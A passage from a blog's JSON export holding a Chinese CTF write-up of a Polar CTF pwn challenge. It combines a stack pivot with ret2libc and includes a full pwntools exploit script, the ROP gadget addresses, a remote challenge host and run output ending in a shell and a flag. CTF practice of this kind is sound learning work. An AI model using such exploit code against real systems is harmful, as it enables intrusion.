loc_400870<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u53ef\u4ee5\u770b\u5230.text:0000000000400820 lea rax, [rbp+var_4]\u8fd9\u4e00\u884c<\/p>\n\n\n\n<p>\u800cvar_4\u672c\u8eabvar_4 = dword ptr -4<\/p>\n\n\n\n<p>\u5c31\u662f\u5730\u5740\u51cf\u53bb\u4e00\u4e2a0x4<\/p>\n\n\n\n<p>scanf\u51fd\u6570\u5b58\u5728\u4e00\u4e2a\u504f\u79fb\u7684\u95ee\u9898<\/p>\n\n\n\n<p>\u800c\u540e\u9762 mov eax, [rbp+var_4]<\/p>\n\n\n\n<p>\u6240\u4ee5\u9700\u8981\u5c06\u8fd9\u4e2a0x4\u8865\u9f50\u4ee5\u4fdd\u8bc1\u540e\u7eed\u8f93\u5165n\u7684\u5730\u5740\u65e0\u8bef\uff0c\u4e5f\u5c31\u641e\u5b9a\u4e86\u8fd9\u4e2a\u504f\u79fb\u7684\u95ee\u9898<\/p>\n\n\n\n<p>\u8981\u505a\u7684\u5c31\u662f\u628arbp\u7684\u5730\u5740\u8986\u76d6\u6210n\u7684\u5730\u5740<\/p>\n\n\n\n<p>\u4e4b\u540e\u4f20\u5165n\u7684\u503c\uff1a520\uff0c\u7136\u540e\u4ee4\u5176\u6267\u884cret2libc\u5373\u53ef<\/p>\n\n\n\n<p>\u8fd9\u90e8\u5206\u64cd\u4f5c\u7684\u4e3b\u4f53\u5185\u5bb9\u5c31\u662f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>io.sendline(b'1') &nbsp; #\u83dc\u5355\u9009\u62e9<br>io.recv()<br>\u200b<br>io.sendline(b'1') &nbsp; #wrshell\u51fd\u6570\u7b2c\u4e00\u6b21\u8f93\u5165\u53c2\u6570<br>io.recv()<br>\u200b<br>io.sendline(b'1') &nbsp; #wrshell\u51fd\u6570\u7b2c\u4e8c\u6b21\u8f93\u5165\u53c2\u6570<br>io.recv()<br>\u200b<br>\u200b<br>n_addr = 0x60108c &nbsp; #\u53cc\u51fbn\u8ddf\u8fdb\u627e\u5230n\u53c2\u6570\u7684\u5730\u5740<br>payload = b'a'*(0x50) + p64(n_addr+0x4) &nbsp; &nbsp;#\u8865\u9f500x4\uff0c\u786e\u4fddn\u5730\u5740\u6b63\u786e<br>io.sendline(payload)<br>io.recv()<br>\u200b<br>io.sendline(b'520') &nbsp;#\u901a\u8fc7\u5224\u65ad\u8bed\u53e5<br>io.recv()<\/code><\/pre>\n\n\n\n<p>\u5947\u602a\u7684\u70b9\u5728\u4e8e\u60f3\u7528libcsearcher\u6765\u627e\u5bf9\u5e94\u7684libc\u7248\u672c<\/p>\n\n\n\n<p>\u4f46\u662f\u6ca1\u627e\u5230<\/p>\n\n\n\n<p>\u6362\u7528\u7f51\u7ad9\u624b\u52a8\u8865\u9f50\u76f8\u5173\u51fd\u6570\u5bf9\u5e94\u5730\u5740<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>\u200b<br>\u200b<br>io = remote('1.95.36.136',2146)<br># io=process(\".\/pwn\")<br>elf = ELF('.\/polar_pwn')<br># libc= ELF(elf.libc.path)<br>\u200b<br>io.sendline(b'1')<br>io.recv()<br>\u200b<br>io.sendline(b'1')<br>io.recv()<br>\u200b<br>io.sendline(b'1')<br>io.recv()<br>\u200b<br>\u200b<br>n_addr = 0x60108c<br>payload = b'a'*(0x50) + p64(n_addr+0x4)<br>io.sendline(payload)<br>io.recv()<br>\u200b<br>io.sendline(b'520')<br>io.recv()<br>\u200b<br>ret_add =0x00000000004005d9<br>pop_rdi =0x0000000000400a63<br>xxx_add =0x00000000004009CE<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>\u200b<br>print(\"Puts_got: \",hex(puts_got))<br>print(\"Puts_plt: \",hex(puts_plt))<br>\u200b<br>offset=0x50<br>\u200b<br>payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(xxx_add)<br>io.sendlineafter(b'Welcome to Polar CTF!', payload1)<br>puts_addr = u64(io.recvuntil(b'\\x7f')&#91;-6:].ljust(8,b'\\x00'))<br>print(\"Puts_addr: \",hex(puts_addr))<br>\u200b<br>\u200b<br>\u200b<br>libc_base = puts_addr - 0x06f6a0<br>system_add = libc_base + 0x0453a0<br>bin_sh_add = libc_base + 0x18ce57<br>\u200b<br># libc_base = puts_addr - libc.symbols&#91;'puts']<br># system_add = libc_base + libc.symbols&#91;'system']<br># bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))<br>\u200b<br>payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)<br>\u200b<br>io.sendlineafter(b'Welcome to Polar CTF!', payload2)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<p>\u603b\u4f53\u5c31\u662f\u4e00\u4e2a\u6808\u8fc1\u79fb\u52a0\u4e00\u4e2aret2libc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>D:\\python\\pythonProject\\.venv\\Scripts\\python.exe D:\\python\\pythonProject\\polar_pwn_libc64+\u6808\u8fc1\u79fb.py <br>&#91;x] Opening connection to 1.95.36.136 on port 2146<br>&#91;x] Opening connection to 1.95.36.136 on port 2146: Trying 1.95.36.136<br>&#91;+] Opening connection to 1.95.36.136 on port 2146: Done<br>&#91;*] 'D:\\\\python\\\\pythonProject\\\\polar_pwn'<br> &nbsp; &nbsp;Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp; &nbsp;RELRO: &nbsp; &nbsp; &nbsp;Partial RELRO<br> &nbsp; &nbsp;Stack: &nbsp; &nbsp; &nbsp;No canary found<br> &nbsp; &nbsp;NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br> &nbsp; &nbsp;PIE: &nbsp; &nbsp; &nbsp; &nbsp;No PIE (0x400000)<br> &nbsp; &nbsp;Stripped: &nbsp; No<br>Puts_got: &nbsp;0x601018<br>Puts_plt: &nbsp;0x4005f0<br>Puts_addr: &nbsp;0x7fc589e1d6a0<br>&#91;*] Switching to interactive mode<br>\u200b<br>cat flag<br>flag{e6d6aa72-59ef-42bd-a92b-ac3310081800}<\/code><\/pre>\n\n\n\n<p>\u603b\u4f53\u4ea4\u4e92\u7ed3\u679c\u66f4\u7b80\u6d01<\/p>\n\n\n\n<p>\u4e5f\u8868\u660e\u5f88\u591a\u60c5\u51b5\u4e0blibc\u5e93\u6709\u6982\u7387\u6ca1\u6709\uff0c\u7f51\u7ad9\u597d\u7528\u5f97\u4e00<\/p>\n\n\n\n<p><a href=\"https:\/\/libc.blukat.me\/\">libc database search<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010MISC\u3011WinCS1 \u30102025\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 1.\u53d7\u63a7\u673a\u5668\u6728\u9a6c\u7684\u56de\u8fde\u7684ip\u5730\u5740\u548c\u7aef\u53e3\u662f\uff1f\uff08flag{i [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-303","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/303","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=303"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/303\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=303"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=303"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=303"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}